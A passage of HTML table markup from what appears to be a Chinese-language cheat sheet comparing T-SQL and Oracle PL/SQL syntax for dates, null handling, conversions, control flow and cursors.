style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>INSTR<span style="font-family: 宋体">、</span>INSTRB</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>right(str,n)</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>substr(str,-n)</p>            </td>        </tr>    </tbody></table></p><p style="margin-left: 9pt">&nbsp;</p><p style="margin-left: 9pt"><span style="font-family: 宋体">日期</span></p><p><table style="border-collapse: collapse" border="1" cellspacing="0" cellpadding="0">    <tbody>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p align="center">TSQL</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p align="center">PL/SQL</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">系统日期</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>getdate()</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>SYSDATE</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>        </tr>    </tbody></table></p><p style="margin-left: 9pt">&nbsp;</p><p style="margin-left: 9pt"><span style="font-family: 宋体">空值判断与处理</span></p><p><table style="border-collapse: collapse" border="1" cellspacing="0" cellpadding="0">    <tbody>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p align="center">TSQL</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p align="center">PL/SQL</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">判断</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>IS NULL</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>IS NULL</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">空值替换</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>Isnull(para,0)</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>NVL(para,0)</p>            <p>REPLACE(old_string, NULL, my_string)</p>            <p>&nbsp;</p>            </td>        </tr>    </tbody></table></p><p style="margin-left: 9pt">&nbsp;</p><p>&nbsp;<span style="font-family: 宋体">转换</span></p><p><table style="border-collapse: collapse" border="1" cellspacing="0" cellpadding="0">    <tbody>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p align="center">TSQL</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p align="center">PL/SQL</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">字符</span>-&gt;<span style="font-family: 宋体">日期</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>Convert(datetime, expr, style)</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>To_Date(format, expr)</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">字符</span>&lt;-<span style="font-family: 宋体">日期、数值</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>Convert(char(n), expr, style)</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>To_char(expr,format)</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">数值</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>To_Number()</p>            </td>        </tr>    </tbody></table></p><p><span style="font-family: 宋体">语句</span></p><p><table style="border-collapse: collapse" border="1" cellspacing="0" cellpadding="0">    <tbody>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 151.4pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="202">            <p align="center">TSQL</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 180pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="240">            <p align="center">PL/SQL</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>statement block</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 151.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="202">            <p>BEGIN...END</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 180pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="240">            <p>BEGIN...END;</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>conditional</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 151.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="202">            <p style="text-indent: -12pt; margin-left: 12pt"><span>1)&nbsp;</span>IF&hellip;ELSE&hellip;</p>            <p style="text-indent: -12pt; margin-left: 12pt"><span>2)&nbsp;</span>IF&hellip;ELSE IF&hellip;else&hellip;</p>            <p style="text-indent: -12pt; margin-left: 12pt"><span>3)&nbsp;</span>CASE</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 180pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="240">            <p style="text-indent: -9pt; margin-left: 9pt"><span>1)</span>IF..then...ELSE&hellip;end if;</p>            <p style="text-indent: -9pt; margin-left: 9pt"><span>2)</span>If&hellip;then&hellip;</p>            <p>&nbsp;elsif&hellip;else&hellip;endif</p>            <p>3)decode</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>Repeat</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 151.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="202">            <p>WHILE Boolean_expression</p>            <p><span>&nbsp;&nbsp;&nbsp; {statement_block}</span></p>            <p><span>&nbsp;&nbsp;&nbsp; [BREAK]</span></p>            <p><span>&nbsp;&nbsp;&nbsp; {statement_block}</span></p>            <p><span>&nbsp;&nbsp;&nbsp; [CONTINUE]</span></p>            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 180pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="240">            <p>1)Loop &hellip;exit;&hellip;end loop;</p>            <p>2)loop&hellip;exit when&hellip;end loop;</p>            <p>3)WHILE condition LOOP</p>            <p>&nbsp;sequence_of_statements;</p>            <p>&nbsp;&nbsp;EXIT WHEN boolean_expression;</p>            <p>&nbsp;END LOOP;</p>            <p style="text-indent: -9pt; margin-left: 9pt"><span>3)</span>for&hellip;in [reverse]&hellip;loop</p>            <p>&nbsp;&hellip;</p>            <p>&nbsp;end loop;</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>GOTO</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 151.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="202">            <p>GOTO label</p>            <p>&hellip;</p>            <p>label:</p>            <p>&hellip;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 180pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="240">            <p>GOTO label;</p>            <p>&hellip;</p>            <p>&lt;&lt;label&gt;&gt;</p>            <p>&hellip;</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>Exits unconditionally</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 151.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="202">            <p>RETURN</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 180pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="240">            <p>Return;</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>Sets a delay for statement execution</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 151.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="202">            <p>WAITFOR</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 180pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="240">            <p>&nbsp;</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>Comment</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 151.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="202">            <p>--</p>            <p>/*&hellip;*/</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 180pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="240">            <p>--</p>            <p>/*&hellip;*/</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>PRINT</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 151.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="202">            <p>PRINT string</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 180pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="240">            <p>Set serveroutput on</p>            <p>dbms_output.put_line(string);</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>RAISERROR</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 151.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="202">            <p>RAISERROR</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 180pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="240">            <p>&nbsp;</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>EXECUTE</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 151.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="202">            <p>EXECUTE</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 180pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="240">            <p>&nbsp;</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>NULL statement</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 151.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="202">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 180pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="240">            <p>NULL;</p>            </td>        </tr>    </tbody></table></p><p>&nbsp;</p><p style="text-indent: -9pt; margin-left: 9pt"><span>4)</span>cursor</p><p><table style="border-collapse: collapse" border="1" cellspacing="0" cellpadding="0">    <tbody>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 86.4pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="115">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 171pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="228">            <p align="center">TSQL</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 168.6pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="225">            <p align="center">PL/SQL</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 86.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="115">            <p><span style="font-size: 9pt">DECLARE</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 171pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="228">            <p><span style="font-size: 9pt">DECLARE cursor_name CURSOR</span></p>            <p><span style="font-size: 9pt">[LOCAL | GLOBAL]</span></p>            <p><span style="font-size: 9pt">[FORWARD_ONLY | SCROLL]</span></p>            <p><span style="font-size: 9pt">[STATIC | KEYSET | DYNAMIC | FAST_FORWARD]</span></p>            <p><span style="font-size: 9pt">[READ_ONLY | SCROLL_LOCKS | OPTIMISTIC]</span></p>            <p><span style="font-size: 9pt">[TYPE_WARNING]</span></p>            <p><span style="font-size: 9pt">FOR select_statement</span></p>            <p><span style="font-size: 9pt">[FOR UPDATE [OF column_name [,...n]]]</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 168.6pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="225">            <p><span style="font-size: 9pt">DECLARE</span></p>            <p><span style="font-size: 9pt">&nbsp;&nbsp; CURSOR cursor_name IS </span></p>            <p><span style="font-size: 9pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SELECT_statement;</span></p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 86.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="115">            <p>open</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 171pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="228">            <p>Open cursor_name</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 168.6pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="225">            <p>Open cursor_name;</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 86.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="115">            <p>Fetch</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 171pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="228">            <p>Fetch cursor_name into</p>            <p>&nbsp;var1,var2&hellip;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 168.6pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="225">            <p>Fetch cursor_name into</p>            <p>&nbsp;var1,var2&hellip;</p>            <p>||</p>            <p>&nbsp;%rowtype_var;</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 86.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="115">            <p>Close</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 171pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="228">            <p>Close cursor_name</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 168.6pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="225">            <p>Close cursor_name;</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 86.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="115">            <p>Attribute</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 171pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="228">            <p>@@FETCH_STATUS</p>            <p>@@CURSOR_ROWS</p>            <p>CURSOR_STATUS</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 168.6pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="225">            <p>%found</p>            <p>%notfound</p>            <p>%isopen</p>            <p>%rowcount</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 86.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="115">            <p>DEALLOCATE</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 171pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="228">            <p>DEALLOCATE cursor_name</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 168.6pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="225">            <p>&nbsp;</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 86.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; 